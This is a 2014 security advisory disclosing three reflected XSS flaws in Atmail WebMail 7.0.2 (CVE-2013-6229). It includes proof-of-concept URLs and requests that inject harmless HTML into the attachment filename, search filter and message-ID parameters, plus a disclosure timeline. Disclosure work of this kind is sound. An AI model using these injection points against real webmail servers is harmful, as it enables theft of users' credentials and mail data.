Date: Thu, 06 Feb 2014 10:17:46 +0100
From: ISecAuditors Security Advisories <advisories@...cauditors.com>
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Subject: [ISecAuditors Security Advisories] Multiple reflected XSS vulnerabilities
 in Atmail WebMail

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INTERNET SECURITY AUDITORS ALERT 2013-014
- Original release date: March 25th, 2013
- Last revised:  March 25th, 2013
- Discovered by: Vicente Aguilera Diaz
- Severity: 4.3/10 (CVSSv2 Base Scored)
- CVE-ID: CVE-2013-6229
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I. VULNERABILITY
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Multiple reflected XSS vulnerabilities in Atmail WebMail.


II. BACKGROUND
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Atmail allows users to access IMAP Mailboxes of any server of your
choice. The software provides

a comprehensive email-suite for accessing user mailboxes, and provides
an inbuilt Calendar and

Addressbook features. The WebMail Client of Atmail supports any existing
IMAP server running

under Unix/Linux or Windows systems.


III. DESCRIPTION
-------------------------
Has been detected multiple reflected XSS vulnerability:
1) in the view attachment message process
2) in the search message with filter process
3) in the delete message process

These vulnerabilities allows the execution of arbitrary HTML/script code
to be executed in the

context of the victim user's browser.


IV. PROOF OF CONCEPT
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1) View attachment message process
When a user opens a file attachment in an email, the link is as follows:

http://<atmail-

server>/index.php/mail/viewmessage/getattachment/folder/INBOX/uniqueId/<ID>/filenameOriginal/<fil

e>

where:
- <atmail-server> is the Atmail WebMail server
- <ID> is the unique ID for the message that contains the attachment
- <file> is the attachment file in the message

A malicious user can inject arbitrary HTML/script code in the <file>
parameter. For example:

http://<atmail-

server>/index.php/mail/viewmessage/getattachment/folder/INBOX/uniqueId/<ID>/filenameOriginal/test

.txt<H1><marquee>This+is+an+XSS+example


2) Search message with filter process
When a user search messages with a filter (for example, using the
"Friends" filter), the link is

as follows:

POST

/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchRes

ultsTab5 HTTP/1.1
Host: <atmail-server>
...
searchQuery=&goBack=6&from=&to=&subject=&body=&filter=<filter>

where:
- <atmail-server> is the Atmail WebMail server
- <filter> is the name of the selected filter by the user

A malicious user can inject arbitrary HTML/script code in the <filter>
parameter. Also, This POST

HTTP Request can become a GET HTTP Request, making it easier to exploit
the vulnerability.
For example:

http://<atmail-

server>/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/se

archResultsTab5?searchQuery=&goBack=6&from=&to=&subject=&body=&filter=friends<H1><marquee>This

+is+an+XSS+example


3) Delete message process
When a user select and delete a message, the link is as follows:

POST
/index.php/mail/mail/movetofolder/fromFolder/INBOX/toFolder/INBOX.Trash
HTTP/1.1Host:

<atmail-server>
...
resultContext=messageList&listFolder=INBOX&pageNumber=1&unseen%5B21%5D=0&mailId%5B

%5D=<MailID>&unseen%5B20%5D=0&unseen%5B16%5D=0&unseen%5B15%5D=0&unseen%5B14%5D=0&unseen

%5B12%5D=0&unseen%5B11%5D=0&unseen%5B10%5D=0&unseen%5B9%5D=0&unseen%5B8%5D=0&unseen

%5B6%5D=0&unseen%5B5%5D=0&unseen%5B4%5D=0&unseen%5B3%5D=0&unseen%5B2%5D=0&unseen%5B1%5D=0

where:
- <atmail-server> is the Atmail WebMail server
- <MailID> is the identifier (number) of the mail selected by the user

A malicious user can inject arbitrary HTML/script code in the <MailID>
parameter. Also, This POST

HTTP Request can become a GET HTTP Request, making it easier to exploit
the vulnerability.
For example:

http://<atmail-server>/index.php/mail/mail/movetofolder/fromFolder/INBOX/toFolder/INBOX.Trash?

resultContext=messageList&listFolder=INBOX&pageNumber=1&unseen%5B21%5D=0&mailId%5B

%5D=<H1><marquee>This+is+an+XSS+example&unseen%5B20%5D=0&unseen%5B16%5D=0&unseen

%5B15%5D=0&unseen%5B14%5D=0&unseen%5B12%5D=0&unseen%5B11%5D=0&unseen%5B10%5D=0&unseen

%5B9%5D=0&unseen%5B8%5D=0&unseen%5B6%5D=0&unseen%5B5%5D=0&unseen%5B4%5D=0&unseen%5B3%5D=0&unseen

%5B2%5D=0&unseen%5B1%5D=0


V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or script code in a targeted
user's browser, this can

leverage to steal sensitive information as user credentials, personal
data, etc.

 
VI. SYSTEMS AFFECTED
-------------------------
Tested in Atmail 7.0.2. Other versions may be affected too.

 
VII. SOLUTION
-------------------------
-


VIII. REFERENCES
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http://www.atmail.com
http://www.isecauditors.com


IX. CREDITS
-------------------------
This vulnerability has been discovered
by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).


X. REVISION HISTORY
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March       9, 2013: Initial release
March       22, 2013: Last revision


XI. DISCLOSURE TIMELINE
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March       9, 2013: Discovered by Internet Security Auditors
March       22, 2013: Advisory updated with new XSS vulnerable resources
October    08, 2013: Firt contact with developer team
October    16, 2013: Second contact with developer team
November   28, 2013: Third contact with developer team
January    10, 2014: Last contact and release


XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or

guarantees of fitness of use or otherwise. Internet Security Auditors
accepts no responsibility

for any damage caused by the use or misuse of this information.


XIII. ABOUT
-------------------------
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testing, network security,

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Our clients include some

of the largest companies in areas such as finance, telecommunications,
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